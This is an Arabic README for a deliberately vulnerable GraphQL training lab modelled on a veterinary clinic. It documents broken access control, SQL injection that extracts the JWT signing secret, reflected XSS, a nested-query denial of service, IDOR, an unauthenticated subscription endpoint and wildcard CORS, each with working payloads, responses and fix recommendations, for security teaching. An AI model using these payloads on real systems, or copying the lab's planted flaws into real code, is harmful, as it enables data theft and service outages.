
بحث حول GraphQL من وجهة نظر AppSec.
تم إنشاء مختبرات لدراسة المشكلات المختلفة، وتأخذ هذه المختبرات سياق عيادة بيطرية تدير رعاية الكلاب.
تم تطوير المختبرات باستخدام IntelliJ IDEA Community Edition.
المجالات المستخدمة هي التالية:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
هناك شروط وافتراضات المختبر:
* يمكن أن يرتبط طبيب بيطري بـ 0 أو N من الكلاب.
* يمكن أن يرتبط كلب بـ 0 أو 1 طبيب بيطري.
* يمتلك الطبيب البيطري خاصية تُسمى **Popularity** موجودة في نظام التخزين (قاعدة البيانات) ولكن يجب ألا يتم الوصول إليها من قبل عميل GraphQL لأنها معلومات حساسة.
* وجهة نظر استهلاك بيانات GraphQL هي الطبيب البيطري. معلومات الكلب عامة.
* المختبر هو تطبيق ضعيف صراحة حيث تم تنفيذ عدة ثغرات ويتم تحديدها باستخدام علامة `[VULN]` في التعليقات.
* فيما يتعلق بالمصادقة، تم تنفيذ خدمة خارجية مزيفة (عبر servlet) وتُعيد رمز JWT يحتوي على اسم الطبيب البيطري في الرمز.
بمجرد التشغيل عبر إعدادات التشغيل الموجودة في المشروع أو أمر سطر الأوامر `mvn spring-boot:run`، يصبح المختبر متاحًا على هذه النقاط النهائية:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
لتغليف التطبيق كملف jar محمول، استخدم الأمر `mvn package` (ملف jar مُنشأ مسبقًا متاح [هنا](https://github.com/righettod/poc-graphql/releases)):
* سيتم إنشاء ملف jar في المجلد *target* وسيُسمى *graphql-poc.jar*.
* استخدم الأمر `java -jar graphql-poc.jar` لتشغيل التطبيق.
## النشر على Docker
> يتم نشر الصورة يوميًا على [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)
لنشر التطبيق في حاوية docker، اتبع الخطوات التالية:
1. تأكد من تثبيت `docker`.
2. `git clone` للمستودع.
3. انتقل إلى المجلد المستنسخ.
4. قم ببناء صورة docker باستخدام `docker build -t poc-graphql .`
5. الآن تم إنشاء صورة باسم **poc-graphql:latest** على جهازك.
6. قم بتشغيل الحاوية باستخدام `docker run -p 8080:8080 poc-graphql:latest`
7. قم بالوصول إلى المختبر باستخدام النقاط النهائية التالية:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## نقاط الضعف الأمنية
### التفويض (Authorization)
*التحكم في الوصول المكسور*
[CWE-285](https://cwe.mitre.org/data/definitions/285/)
#### المشكلة
نظرًا لأن GraphQL يعتمد على نقطة نهاية واحدة يتم إرسال جميع الطلبات إليها، وبما أن التفويض خارج نطاق المواصفات (لا توجد ميزات مدمجة)،
فإن الأمر متروك للتطبيق لتنفيذ منطق التفويض.
في مختبراتي، لدي ثغرة في هذه النقطة لأن التحقق من رمز الوصول لا يتحقق من أن الرمز ينتمي إلى الطبيب البيطري المُمرر في **veterinaryId**
**مثال:**
أطلب رمز وصول للدكتور **جوليان** الذي لديه المعرف **3** في التخزين عن طريق إرسال طلب GraphQL هذا:```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
أتلقى رمز الوصول في استجابة GraphQL التالية:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
أرسل طلب GraphQL إلى الاستعلام `myInfo(...)` باستخدام رمز الوصول الذي تم الحصول عليه ولكنني أحدد المعرف **2** الذي هو معرف **الدكتور بينوا**:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
أستلم في استجابة GraphQL قائمة Dogs المرتبطة بـ الدكتور بينوا:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### التوصية
مع GraphQL، انتقلنا من مصفوفة تفويض باستخدام `Role x Feature` إلى أمان على مستوى البيانات باستخدام `Role x Data` لأنها أيضًا نقطة نهاية واحدة. يجب تمرير هوية المستخدم وأدواره إلى الطبقة العليا المسؤولة عن جلب البيانات (أو العمل عليها) من أجل تطبيق التحقق باستخدام هوية المستخدم قبل جلب البيانات.
### الحقن
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### المشكلة
بناءً على كيفية استخدام المعلومات من استعلام/تحوير/اشتراك طلب GraphQL بواسطة خادم GraphQL للعمل على مخازن البيانات، هناك احتمالية للحقن.
في مختبراتي، لدي ثغرة في هذه النقطة بخصوص SQLi في الاستعلام `dogs(namePrefix: String, limit: Int = 500): [Dog!]` لأن المعامل **namePrefix** يُستخدم في سلسلة نصية لبناء استعلام SQL.
**مثال:**
أرسل طلب GraphQL هذا لعرض محتوى جدول `CONFIG````javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
أستلم في استجابة GraphQL السر المستخدم لتوقيع رمز JWT بالإضافة إلى اسم الكلب الذي يبدأ اسمه بـ ab:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
حول XSS، من المثير للاهتمام ملاحظة أن استجابة GraphQL تعكس المعامل المرسل في حالة فشل التحقق من الصحة في الطلب المرسل.
**مثال:**
أرسل طلب GraphQL هذا إلى الاستعلام `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary`، وأستبدل معرف Veterinary (وهو عدد صحيح) بحمولة XSS من نوع String:```javascript
query xss {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
}
أتلقى هذه الاستجابة من GraphQL التي تعكس حمولتي، لذا، اعتمادًا على عميل GraphQL وسلوكه في الهروب/التطهير، يمكن أن يفتح الباب أمام XSS:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }
#### توصية
* قم بتطبيق التحقق من صحة الإدخال على البيانات المستلمة عبر Query/Mutation/Subscription قبل استخدامها
* تأكد من أن العميل الذي يعرض البيانات من استجابة GraphQL يطبق الهروب/التنقية على البيانات قبل عرضها.
### استنزاف الموارد
[CWE-400](https://cwe.mitre.org/data/definitions/400.html)
#### المشكلة
نظرًا لأن العميل يتحكم في كمية البيانات المطلوبة، يمكنه إرسال طلب GrapQL إلى استعلام يتسبب في استنزاف الموارد على وحدات التخزين التي يستدعيها خادم GraphQL بالإضافة إلى خادم GraphQL نفسه لتسلسل البيانات إلى JSON.
يمكن أن تحدث هذه المشكلة أيضًا باستخدام طفرة (mutation) عن طريق إرسال كمية كبيرة من البيانات في المعاملات (يمكن استخدام التحقق من صحة الإدخال هنا لمنع هذا الهجوم).
يمكن أن تحدث هذه المشكلة أيضًا باستخدام اشتراك (subscription) عن طريق أي مما يلي:
* تسجيل عدد كبير من المشتركين وعلى كل اشتراك مكشوف.
* إرسال كمية كبيرة من البيانات في المعاملات المستخدمة بواسطة الاشتراكات.
في مختبراتي لدي ثغرة أمنية في هذه النقطة للاستعلام، تحديدًا في الاستعلام `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` المتاح للمستخدم المجهول ويسترد محتوى قاعدة البيانات حول الكلب. نظرًا لوجود علاقة بين الكلاب والطبيب البيطري والعكس، فمن الممكن إجراء استدعاء متتالي يتسبب في استنزاف الموارد على مستوى SQL في قاعدة البيانات.
**مثال:**
عندما أرسل هذا الطلب، أتسبب في وصول وحدة المعالجة المركزية (CPU) إلى 100% لعدة دقائق، وقاعدة البيانات محلية لأنها SQLite```javascript
query dos {
allDogs(onlyFree: false, limit: 1000000) {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
}
}
}
}
}
}
}
}
}
}
}
}

الاستعلام:
اعتمادًا على تطبيق خادم GraphQL المستخدم، استخدم الحماية المضمنة المقدمة لـ أقصى عمق للاستعلام و تعقيد الاستعلام (انظر المواصفات هنا).
بالنسبة لتطبيق Java، أضف فئتي الأدوات هاتين إلى استراتيجية التنفيذ:
انظر هذه الفئة للحصول على مثال لاستخدام الأداتين أعلاه.
للتحور/الاشتراك:
مع GrapQL، يتم تقديم ميزة الاستبطان للعميل للوصول إلى مخطط API لاكتشاف البيانات المتاحة والاستعلام والتحور والاشتراك عليها.
ملاحظة: يؤدي تعطيل الاستبطان إلى وضع خادمك في مخالفة لمواصفات GraphQL وتوقعات معظم العملاء، لذا استخدم هذا بحذر وفضل تصفية الوصول بدلاً من تعطيله من وجهة نظر الأعمال.
يعني ذلك أن أي عميل قادر على البحث في المخطط لرؤية في Type إذا كانت أي معلومات حساسة مثيرة للاهتمام مكشوفة (هذه هي نفس الملاحظة حول الإجراء المتعلق بـ Mutation أو Subscription المكشوفة).
باستخدام GraphiQL عبر لوحة مستكشف الوثائق أو هذا البرنامج النصي، من الممكن تصفح المخطط المكشوف من نقطة نهاية GrapQL.
في مختبراتي، قمت عن طريق الخطأ بكشف معلومات الشعبية التي تعتبر حساسة عن طبيب بيطري في النوع Veterinary
في مختبراتي، يتيح هذا الرابط الحصول على نسخة من المخطط.
مثال:
باستخدام لوحة مستكشف الوثائق، وجدت هذا الحقل:



يمكن تعيين قيد المصادقة على الوصول إلى نقطة نهاية GraphQL لمنع الكشف للمستخدمين المجهولين، ولكن أي مستخدم مصادق عليه سيتمكن من الوصول إلى هذا المخطط المعلوماتي.
حتى لو كان العميل قادرًا على رؤية هيكل نوع يعرض معلومات حساسة، لرؤية هذه المعلومات يجب أن يكون مسموحًا له بالاستعلام/التحور/الاشتراك الذي يعيد هذه البيانات.
لا تقم بتعيين المعلومات الحساسة في النوع المحدد في المخطط.
نظرًا لأن GraphQL يجسد كيفية استهلاك العميل للبيانات، يجب ألا يكشف GraphQL عن جميع البيانات المتاحة في التخزين المرتبط بل فقط تلك المفيدة للعميل وفقًا للسياق التجاري لواجهة برمجة تطبيقات GraphQL المكشوفة لهم.
عندما يواجه خادم GraphQL خطأً غير متوقع (I/O مع التخزين، NullPointerException، مهلة...)، يشير الرد إلى Internal Server Error(s) while executing query لذا يعطي تلميحًا للمهاجم بأنه قد أثر على النظام وتسبب في سلوك غير متوقع.
مثال:
عند إرسال طلب الاستعلام هذا في مختبراتي (رمز مميز غير صالح):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }
أتلقى هذا الرد الذي يخبرني بأنني تصرفت على النظام وتسبب في سلوك غير متوقع. ربما، على سبيل المثال، قمت بتوليد تتبع مكدس في سجل التطبيق، وإذا كانت ملفات سجل التطبيق تدور بناءً على التاريخ (يومياً) وليس على الحجم، فيمكنني إرسال هذا الطلب عدة مرات لملء القرص بسجلات الأخطاء...```javascript
{
"data": {
"myInfo": null
},
"errors": [
{
"message": "Internal Server Error(s) while executing query",
"path": null,
"extensions": null
}
]
}
قم بإرجاع خطأ عام إذا تم مواجهة خطأ غير متوقع، على سبيل المثال تعذر معالجة الاستعلام!
اطلع على مثال في هذا class.
إذا كان واجهة GrapQL API تكشف عن Query/Mutation/Subscription يكون معرف البيانات فيها قابلًا للتخمين/التنبؤ، فإن هذه Query/Mutation/Subscription تكون معرضة لهجوم IDOR حيث سيستخدم المهاجم قائمة مخصصة من المعرفات لمحاولة الوصول إلى البيانات أو التعامل معها التي تحتوي على معرف ضمن القائمة، وسينجح الإجراء إذا كانت مشكلات التفويض موجودة أيضًا في Query/Mutation/Subscription المستهدفة التي تعالج البيانات المستهدفة.
واجهة GraphQL API Query/Mutation/Subscription المقترحة من قبل مختبراتي معرضة لهجوم IDOR لأنني أستخدم أعدادًا صحيحة متسلسلة للمعرف الفريد للكلب والطبيب البيطري.
مثال:
باستخدام مستكشف التوثيق (Documentation Explorer) في GraphiQL نرى أن المعرفات هي أعداد صحيحة بسيطة ومتسلسلة:


طلب استعلام للكشف عن IDOR:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }
يُظهر الرد المعرف التسلسلي للكلب والطب البيطري:```javascript
{
"data": {
"allDogs": [
{
"id": 1,
"veterinary": {
"id": 1
}
},
{
"id": 2,
"veterinary": {
"id": 1
}
},
{
"id": 3,
"veterinary": {
"id": 1
}
},
...
{
"id": 55,
"veterinary": {
"id": 2
}
},
{
"id": 56,
"veterinary": {
"id": 2
}
},
{
"id": 57,
"veterinary": {
"id": 2
}
},
{
"id": 58,
"veterinary": {
"id": 2
}
},
{
"id": 59,
"veterinary": {
"id": 2
}
...
عند استخدام خادم تطبيق GraphQL لبناء واجهة برمجة التطبيقات (API) الخاصة بك، قد يحدث أن يقوم هذا الخادم بتمكين افتراضيًا بعض الميزات التي تعرض واجهة برمجة التطبيقات (API) لمجموعة خاطئة من العملاء.
في مختبراتي، هذا هو الحال لأن خادم التطبيق يقوم افتراضيًا بتعريض نقطة نهاية WebSocket على المسار /subscriptions ولا يتطلب أي مصادقة (انظر هذا الوثائق تحديدًا القسم التحديثات في الوقت الفعلي مع الاشتراكات):

يمكن للعملاء الحصول على وصول إلى بيانات واجهة برمجة التطبيقات (API) عبر هذه النقطة النهائية إذا كان المخطط (schema) يعلن عن اشتراكات في قسم Subscription.
مثال:
أستطيع رؤية الاشتراكات المعروضة عبر المخطط:

إذا أرسلت طلب الاشتراك هذا لتلقي حدث من اشتراك newAssociation:```javascript subscription subscribeToNewAssociation{ newAssociation }
أتلقى الرسالة التالية التي تشير إلى أنني، من الآن فصاعدًا، سأتلقى معلومات من هذا الاشتراك:```text
Your subscription data will appear here after server publication!
وعندما أقوم بإنشاء ارتباط عبر طلب mutation هذا في متصفح آخر على سبيل المثال:```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }
تثبت استجابة الطفرة أن الإجراء قد تم تنفيذه على مستوى البيانات:```javascript
{
"data": {
"associateDogToMe": {
"name": "Dobby"
}
}
}
بعد لحظة، أتلقى هذا الإشعار ردًا على اشتراكي:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

##### تمكين مشاركة الموارد عبر الأصل الافتراضي
في مختبراتي، هذا هو الحال لأنه بشكل افتراضي، يتم تمكين [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) وضبطه على `*` بحيث يمكن لأي `origin` استدعاء واجهة برمجة التطبيقات (API).
**مثال:**
عندما أرسل هذا الطلب الذي أحدد فيه `origin` مختلفًا من *domain1.local* إلى *domain2.local*:```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
{"query":"query testCORS {\n allDogs{\n name\n }\n}\n","variables":null,"operationName":"testCORS"}
أستلم هذا الرد:```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT
{"data":{"allDogs":[{"name":"Abi"},...
استدعاء من متصفح:


#### التوصية
تحقق من الميزات الممكّنة افتراضيًا وقم بتعطيلها إذا كانت تؤثر على تعرض واجهة API.
بالنسبة لنقطة نهاية الاشتراكات:
* إذا قمت بكشف الاشتراك، فتأكد من وجود مصادقة والتحكم في الوصول لكل اشتراك مكشوف في المخطط.
* إذا لم تقم بكشف الاشتراك، فقم بتعطيل نقطة نهاية WebSocket أو حظرها على مستوى WAF/خادم التطبيقات.
في مختبراتي، كان الأمر يتعلق بتعيين الخيارات التالية في [ملف الإعدادات](https://github.com/righettod/poc-graphql/blob/HEAD/src/main/resources/application.properties):
* بالنسبة لـ CORS: `graphql.servlet.corsEnabled=false`
* بالنسبة لـ WebSocket: `graphql.servlet.websocket.enabled=false`
## استعلامات الاكتشاف
يمكن استخدام الاستعلامات التالية للحصول على المخطط.
غير مفصلة:```javascript
{
__schema {
types {
name
kind
description
fields {
name
}
}
}
}
تفصيلي:```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }
## المراجع المستخدمة
### GraphQL
* [موقع GraphQL](https://graphql.org/)
* [دروس GraphQL](https://www.howtographql.com/)
* [مدونة DOYENSEC حول مشكلات GraphQL](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)
### المختبرات
* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)